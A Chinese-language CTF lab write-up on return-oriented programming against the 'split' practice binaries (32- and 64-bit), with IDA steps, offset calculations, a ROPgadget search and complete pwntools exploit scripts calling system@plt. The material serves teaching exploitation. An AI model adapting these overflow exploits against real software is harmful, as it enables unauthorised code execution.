32位应用

32位ELF的参数直接放到栈中。

先找到一个EFF程序,用IDA打开​​F5​​,发现了fgets缓冲区溢出利用点:

ROP缓冲区溢出利用_rop


溢出长度为:​​0x28 + 0x4 = 0x2C​​。

Shift+F12查找可以利用的字符串:

ROP缓冲区溢出利用_5e_02


这俩看着能用:

.rodata:08048747  00000008  C  /bin/ls
.data:0804A030 00000012 C /bin/cat flag.txt

ROP缓冲区溢出利用_pwngdb_03


​usefulString db '/bin/cat flag.txt',0​​​地址​​0x0804A030​​​,没有被其他函数调用,要想办法调用这串字符,可以利用_system调用。usefulFunction调用了​​/bin/ls​​:

ROP缓冲区溢出利用_rop_04


ROP缓冲区溢出利用_rop_05


双击查看_system函数的​​.plt​​表内容:

ROP缓冲区溢出利用_5e_06


​0x08048430​​是我们要调用的_system的地址。

from pwn import *

sh = process('./split32')

system_plt = 0x8048430
cat_flag = 0x804A030

payload = b'a'*0x28 + b'b'*4 + p32(system_plt) + b'c'*4 + p32(cat_flag)
# payload = b'a'*0x2c + p32(system_plt) + p32(0x12345678) + p32(cat_flag)

sh.sendline(payload) # payload + '\x0a'

sh.interactive()

开启pwngdb,finish、ni一顿操作,调试到pwnme函数ret位置,查看esp内存已经指向system@plt地址。

ROP缓冲区溢出利用_rop_07


ROP缓冲区溢出利用_5e_08

64位应用

64位ELF的参数先放入​​rdi/rsi/rdx/rcx/r8/r9​​,最后才放入栈中。

找到溢出点:

ROP缓冲区溢出利用_pwngdb_09


溢出长度:​​0x20+0x8=0x28​​。

​Shift+F12​​查找可以利用的字符串:

.rodata:00000000004008FF  00000008  C  /bin/ls
.data:0000000000601060 00000012 C /bin/cat flag.txt

跟上一个例子一样,查找system的​​.plt​​​地址​​0x4005E0​​:

ROP缓冲区溢出利用_rop_10


​usefulString​​​字符串地址​​0x601060​​:

ROP缓冲区溢出利用_字符串_11


由于64位程序处理参数没有直接放入栈中,所以不能用32位程序的处理方式,需要用到ROP,查找类似如下代码的位置,以绕过传参寄存器的限制,一般是绕过第一个寄存器​​rdi​​:

pop rdi
ret

这里有专门的查找工具Ropgadget:

$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x0000000000400883 : pop rdi ; ret

​--binary​​指定要查找的二进制文件。

​--only​​指定要查找的指令。

我们找到了。快捷键G:跳转

ROP缓冲区溢出利用_rop_12


ROP缓冲区溢出利用_pwngdb_13


打开字节码(每条指令最多显示5个字节码):

ROP缓冲区溢出利用_pwngdb_14


选中0x400882行的pop,点击按键两次u转为数据,然后选中5F,按键C转化为指令,即可看到​​pop rdi;retn​​:

ROP缓冲区溢出利用_5e_15

大佬画的栈图(ROP原理):

ROP缓冲区溢出利用_5e_16


exp:

from pwn import *

sh = process('./split')

system_plt = 0x4005E0
cat_flag = 0x601060

pop_rdi_ret = 0x400883

# x64先构造数据(先设置pop和retn地址,然后设置system的参数,最后是system@plt地址)
payload = b'a'*0x20 + b'b'*8 + p64(pop_rdi_ret) + p64(cat_flag) + p64(system_plt)

#gdb.attach(sh)
sh.sendline(payload) # payload + '\x0a'

sh.interactive()

ROP缓冲区溢出利用_寄存器_17


​rdi​​寄存器成功被修改:

ROP缓冲区溢出利用_寄存器_18

ROP缓冲区溢出利用_字符串_19